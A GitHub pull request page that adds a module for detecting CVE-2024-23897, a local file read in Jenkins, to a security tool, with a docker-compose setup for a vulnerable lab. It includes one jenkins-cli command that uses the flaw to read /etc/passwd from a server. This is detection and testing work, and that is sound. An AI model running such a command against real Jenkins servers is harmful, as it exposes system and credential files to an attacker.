Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add Jenkins Local File Read - CVE-2024-23897 #51

Open
wants to merge 1 commit into
base: master
Choose a base branch
from

Conversation

elweth-sec
Copy link
Contributor

Hi @hegusung ,

Just a little new module to check CVE-2024-23897 (Local file read on Jenkins).

The exploit has been developped using the following method :

version: '2.2'
services:
  jenkins:
    image: vulhub/jenkins:2.441
    ports:
      - "50000:50000"
      - "8080:8080"
      - "5005:5005"
    init: true
    environment:
      - DEBUG=1

Debugging to identify the request

java -Dhttp.proxyHost=192.168.117.1 -Dhttp.proxyPort=8080 -jar jenkins-cli.jar -s http://192.168.117.136:8080/ -http connect-node "@/etc/passwd"

The bytes to send to trigger the local file read are the following :

image

The module that is based on :

Output without details :

image

And with details :

image

Elweth

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

1 participant